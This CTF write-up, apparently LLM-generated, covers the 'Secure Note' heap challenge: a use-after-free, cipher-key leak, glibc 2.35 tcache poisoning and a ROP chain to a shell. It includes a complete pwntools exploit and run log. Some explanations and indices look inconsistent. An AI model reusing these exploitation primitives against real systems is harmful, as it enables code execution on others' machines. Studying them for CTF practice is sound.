Secure Note… or is it?

Description

This note manager claims to be secure, but sometimes security is just an illusion. Can you prove it wrong?

Challenge by Idan Strovinsky

Solution

This challenge was fully solved by an LLM during the competition. This writeup is also the product of an LLM.

Binary Analysis

Security Features

Key Constraints

Application Functionality

  1. Create note (1-256 bytes)
  2. Update note
  3. Read note
  4. Delete note
  5. Archive note - Copy to archive pool
  6. Restore note - Restore from archive
  7. Purge archived - Delete all archived notes
  8. Exit

Data Structures

struct note {
    int size;       // 4 bytes
    char *data;     // 8 bytes
} notes[16];        // Main pool at 0x4080

struct note archived_pool[16];  // Archive pool at 0x4300

XOR Encryption System

The binary uses a cipher() function that XORs all note data with an 8-byte random key:

void generate_key() {
    int fd = open("/dev/urandom", 0);
    read(fd, key, 8);  // 8 random bytes
    close(fd);
}

void cipher(char *data, size_t len) {
    for (size_t i = 0; i < len; i++) {
        data[i] ^= key[i % 8];
    }
}

Impact:

Vulnerability Analysis

Critical Vulnerability: Use-After-Free

The vulnerability exists in the restore_note() function:

int restore_note() {
    int idx = get_index();
    if (notes_array[2 * idx]) {
        return puts("A note already exists at this index.");
    }
    if (archived_entries[2 * idx]) {
        // Copy from archive to notes
        notes[idx] = archived_pool[idx];
        // BUG: Does NOT null archived_pool[idx]!
        return puts("Note restored successfully.");
    }
}

The Bug: After restore, archived_pool[idx] still points to the same memory as notes[idx].

Exploitation Sequence

1. Create note at index N
2. Archive note N    → archived_pool[N] = notes[N], notes[N] = NULL
3. Restore note N    → notes[N] = archived_pool[N]
4. Purge archived    → free(archived_pool[N].data)
5. notes[N].data still points to freed memory (UAF!)

Key difference from delete:

Exploitation Strategy

Phase 1: Leak XOR Key

Method: Double XOR exploitation

1. Create note with known pattern (e.g., 'a'*0x18)
    Data gets XORed: 'a'*0x18 ^ key
2. Delete note (goes to tcache)
3. Create note again (reuses same chunk)
    Data gets XORed again: ('a'*0x18 ^ key) ^ key = 'a'*0x18
4. But tcache metadata at offset 0x00-0x10 is overwritten
5. At offset 0x10-0x18, we have: 'a'*0x08 XORed with key
6. Read and XOR with 'a'*0x08  reveals key

Phase 2: Leak Libc Address

Method: Unsorted bin leak

GLIBC 2.35 tcache behavior:

1. Create 7 chunks of size 0xc8
2. Create 8th chunk (will go to unsorted bin)
3. Create guard chunk (prevent consolidation)
4. Free first 7 chunks  fill tcache
5. Trigger UAF on 8th chunk:
   - Archive it
   - Restore it
   - Purge (frees it into unsorted bin)
6. Read via notes pool  get libc pointer
7. Decrypt with XOR key
8. Calculate libc base: leak - 0x21ace0

Phase 3: Arbitrary Read Primitive

Method: Tcache poisoning with key bypass

GLIBC 2.35 tcache protection:

// Each freed chunk has this key
tcache_key = (uintptr_t)chunk_addr >> 12;
// fd pointer is mangled
fd_stored = fd_actual ^ tcache_key;

Bypass:

1. Create tmp chunk and target chunk (size 0x70)
2. Trigger UAF on target (archive  restore  purge)
3. Read first 8 bytes  this is tcache_key (XORed with cipher key)
4. Decrypt: chunk_key = (read_data ^ cipher_key)
5. Allocate target again
6. Trigger UAF again
7. Free tmp first (need 2 chunks in tcache)
8. Purge target (free into same bin)
9. Overwrite target's fd:
   fd = (target_addr ^ (target_addr & 0xf)) ^ chunk_key
   encrypted_fd = fd ^ cipher_key
   update(target, encrypted_fd)
10. Allocate twice → second allocation returns chunk at target_addr
11. Read from that chunk

Phase 4: Leak Stack Address

Use arbitrary read to leak __environ:

stack_leak = arbitrary_read(libc.sym.__environ - 0x10, 0x18)
stack = u64(stack_leak[0x10:]) & 0xfffffffffffffff0

Why -0x10?

Phase 5: Arbitrary Write Primitive

Same as arbitrary read but:

Phase 6: Overwrite Return Address

Goal: Gain RIP control by overwriting main’s return address

Why not __free_hook?

one_gadget constraints:

0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
  - address rbp-0x78 is writable
  - [rsi] == NULL || rsi == NULL
  - [rdx] == NULL || rdx == NULL

ROP chain to satisfy constraints:

payload = p64((libc + nop) ^ key)           # Padding (8-byte align)
payload += p64((libc + pop_rsi) ^ key)      # pop rsi; ret
payload += p64(key)                         # rsi = 0 (key ^ key = 0)
payload += p64((libc + pop_rbp) ^ key)      # pop rbp; ret
payload += p64((stack + 0x200) ^ key)       # rbp = writable
payload += p64((libc + pop_rdx_rbx) ^ key)  # pop rdx; pop rbx; ret
payload += p64(key) * 2                     # rdx = rbx = 0
payload += p64((libc + one_gadget) ^ key)   # execve("/bin/sh")

Stack layout:

stack + 0x000: saved rbp
stack - 0x118: return address ← overwrite here

Execution:

  1. Write ROP chain to return address
  2. Exit program (option 8)
  3. main returns → ROP chain executes → shell!

Important Offsets (GLIBC 2.35)

# Libc offsets
main_arena_offset = 0x21ace0    # For unsorted bin leak
__environ_offset = 0x21a0e0     # Stack leak

# Gadgets (use ROPgadget on libc.so.6)
pop_rsi = 0x000000000002be51
pop_rbp = 0x000000000002a2e0
pop_rdx_rbx = 0x00000000000904a9
nop = 0x00000000000378df
one_gadget = 0xebc88           # Use one_gadget tool

Key Takeaways

  1. XOR encryption doesn’t prevent exploitation, just adds extra step
  2. Tcache key protection can be bypassed by leaking the key first
  3. UAF via archive/restore is subtle - restore doesn’t clear archive pointer
  4. GLIBC 2.35 requires different approach (no hooks, stack ROP instead)
  5. Double XOR technique cleverly recovers the cipher key

Full Exploit

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Secure Note PWN Challenge Exploit

Vulnerability: Use-After-Free via archive/restore mechanism
Exploitation: Overwrite return address on stack using arbitrary write
"""

from pwn import *

exe = context.binary = ELF('./chall_remotelibc')
libc = ELF('./libc.so.6')

### Config ###
host = args.HOST or '0.cloud.chals.io'
port = int(args.PORT or 27276)

### Defines ###
MENU_BANNER = "=====[ Menu ]====="
LIBC_OFFSET = 0x21ace0  # main_arena offset

### Globals ###
key = 0

### Gadgets (for one_gadget approach) ###
nop_offset = 0x00000000000378df
pop_rsi = 0x000000000002be51
pop_rbp = 0x000000000002a2e0
pop_rdx_rbx = 0x00000000000904a9
one_gadget = 0xebc88

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

gdbscript = '''
tbreak main
continue
'''.format(**locals())

### Wrappers ###
def option(io, op: int):
    io.sendlineafter(b">>> ", str(op).encode())

def create(io, idx: int, length: int, data: bytes = b''):
    option(io, 1)
    io.sendlineafter(b"index: ", str(idx).encode())
    io.sendlineafter(b"length: ", str(length).encode())
    io.sendlineafter(b"data: ", data)
    return idx

def update(io, idx: int, data: bytes):
    option(io, 2)
    io.sendlineafter(b"index: ", str(idx).encode())
    io.sendafter(b"data: ", data)
    return idx

def read_note(io, idx: int):
    option(io, 3)
    io.sendlineafter(b"index: ", str(idx).encode())
    io.recvuntil(b"data:\n")
    return io.recvuntil(MENU_BANNER.encode())[:-1*len(MENU_BANNER)]

def del_note(io, idx: int):
    option(io, 4)
    io.sendlineafter(b"index: ", str(idx).encode())

def archive(io, idx: int):
    option(io, 5)
    io.sendlineafter(b"index: ", str(idx).encode())
    return idx

def restore(io, idx: int):
    option(io, 6)
    io.sendlineafter(b"index: ", str(idx).encode())
    return idx

def purge(io):
    option(io, 7)

def finish(io):
    option(io, 8)

### Helpers ###
def leak_key(io):
    """
    Leak the XOR key used for encryption/decryption
    
    Method:
    1. Create note with known data 'a'*0x18
    2. Delete it (gets XORed with key)
    3. Create same-sized note (gets XORed again, double XOR)
    4. Read it back and XOR with original data to recover key
    """
    note = create(io, 0, 0x28, b'a'*0x18)
    del_note(io, note)
    note = create(io, 0, 0x28)
    # The data at offset 0x10-0x18 is our pattern XORed with key
    # Original: 'aaaaaaaa', After: 'aaaaaaaa' ^ key
    key = u64(read_note(io, note)[0x10:0x18]) ^ u64(b'a'*8)
    
    # Cleanup
    del_note(io, 0)
    del_note(io, 1)
    return key

def arbitrary_read(io, addr: int, length: int = 8):
    """
    Arbitrary read primitive using tcache poisoning
    
    Steps:
    1. Create two chunks (tmp and target)
    2. Trigger UAF on target: archive → restore → purge
    3. Read chunk key from target
    4. Allocate target again
    5. Free tmp, then purge target (UAF again)
    6. Overwrite target's fd with (addr ^ chk_key)
    7. Allocate twice to get chunk at target address
    8. Read from that chunk
    """
    tmp = create(io, 15, 0x70)
    target = create(io, 10, 0x70)
    
    ### Trigger UAF ###
    archive(io, target)
    restore(io, target)
    purge(io)
    
    # Read chunk key (tcache key protection)
    chk_key = u64(read_note(io, target)[:8]) ^ key
    log.info(f"chunk_key @ {hex(chk_key)}")
    
    # Allocate the same chunk we freed during UAF
    target = create(io, 12, 0x70)
    
    ### Trigger UAF again ###
    archive(io, target)
    restore(io, target)
    del_note(io, tmp)  # free(tmp) into tcache
    purge(io)          # free(target) into tcache
    
    # Poison tcache: overwrite fd with our target address
    fd_ow = (addr ^ (addr & 0xf))  # 8-byte align
    fd_ow = fd_ow ^ chk_key         # XOR with chunk key
    update(io, target, p64(fd_ow ^ key))  # XOR with cipher key
    
    create(io, 13, 0x70)    # Allocate target chunk
    overlap = create(io, 15, 0x70)  # Get chunk at our address
    
    return read_note(io, overlap)[:length]

def arbitrary_write(io, addr: int, data: bytes):
    """
    Arbitrary write primitive using tcache poisoning
    
    Same as arbitrary_read but writes data instead
    """
    tmp = create(io, 16, 0xf0)
    target = create(io, 17, 0xf0)
    
    ### Trigger UAF ###
    archive(io, target)
    restore(io, target)
    purge(io)
    
    # Read chunk key
    chk_key = u64(read_note(io, target)[:8]) ^ key
    log.info(f"chunk_key @ {hex(chk_key)}")
    
    # Allocate target again
    target = create(io, 18, 0xf0)
    
    ### Trigger UAF again ###
    archive(io, target)
    restore(io, target)
    del_note(io, tmp)
    purge(io)
    
    # Poison tcache
    fd_ow = (addr ^ (addr & 0xf))  # 8-byte align
    fd_ow = fd_ow ^ chk_key
    update(io, target, p64(fd_ow ^ key))
    
    create(io, 19, 0xf0)
    overlap = create(io, 20, 0xf0, data)  # Write data at target address

### Main Exploit ###
def main():
    global key
    
    io = start()
    
    ### Phase 1: Leak XOR Key ###
    log.info("Phase 1: Leaking XOR key")
    key = leak_key(io)
    log.success(f"XOR key: {hex(key)}")
    
    ### Phase 2: Leak Libc ###
    log.info("Phase 2: Leaking libc address")
    
    # Fill tcache (7 chunks) then free 8th into unsorted bin
    for idx in range(7):
        create(io, idx, 0xc8)
    
    note = create(io, 7, 0xc8)  # Will go to unsorted bin
    guard = create(io, 8, 0x18)  # Prevent consolidation
    
    # Fill tcache
    for idx in range(7):
        del_note(io, idx)
    
    ### Trigger UAF to read unsorted bin chunk ###
    archive(io, note)
    restore(io, note)
    purge(io)
    
    # Unsorted bin fd points to main_arena
    leak_libc = u64(read_note(io, note)[:8]) ^ key
    libc.address = leak_libc - LIBC_OFFSET
    log.success(f"Libc base: {hex(libc.address)}")
    
    ### Phase 3: Leak Stack ###
    log.info("Phase 3: Leaking stack address")
    
    # Read __environ to get stack address
    stack_leak = arbitrary_read(io, libc.sym.__environ - 0x10, 0x18)
    stack = u64(stack_leak[0x10:]) & 0xfffffffffffffff0
    log.success(f"Stack: {hex(stack)}")
    
    ### Phase 4: Overwrite Return Address ###
    log.info("Phase 4: Overwriting return address with one_gadget")
    
    # Build ROP chain to satisfy one_gadget constraints
    # one_gadget constraint: rsi=NULL, rdx=NULL, rbp is writable
    payload = p64((libc.address + nop_offset) ^ key) * 1  # NOP padding
    payload += p64((libc.address + pop_rsi) ^ key)        # pop rsi; ret
    payload += p64(key)                                    # rsi = 0 (key^key)
    payload += p64((libc.address + pop_rbp) ^ key)        # pop rbp; ret
    payload += p64((stack + 0x200) ^ key)                 # writable address
    payload += p64((libc.address + pop_rdx_rbx) ^ key)    # pop rdx; pop rbx; ret
    payload += p64(key) * 2                                # rdx = rbx = 0
    payload += p64((libc.address + one_gadget) ^ key)     # one_gadget
    
    # Calculate return address location on stack
    ret_addr = stack - 0x118
    arbitrary_write(io, ret_addr, payload)
    
    log.success("Return address overwritten!")
    log.info("Triggering one_gadget by exiting...")
    
    finish(io)
    io.interactive()

if __name__ == "__main__":
    main()

Output:

$ python3 ../AI_Solve_2/exploit.py LOCAL
[*] '/home/user/CTF/Secure_Note/chall_remotelibc'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[*] '/home/user/CTF/Secure_Note/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[+] Starting local process '/home/user/CTF/Secure_Note/chall_remotelibc': pid 2374
[*] Phase 1: Leaking XOR key
[+] XOR key: 0x658363f7e36e324b
[*] Phase 2: Leaking libc address
[+] Libc base: 0x7f33caa00000
[*] Phase 3: Leaking stack address
[*] chunk_key @ 0x557167637
[+] Stack: 0x7ffffc220070
[*] Phase 4: Overwriting return address with one_gadget
[*] chunk_key @ 0x557167637
[+] Return address overwritten!
[*] Triggering one_gadget by exiting...
[*] Switching to interactive mode
$ cat flag.txt
BSidesTLV2025{h34p_x0r_c4nn0t_h1d3_th3_bugs}

References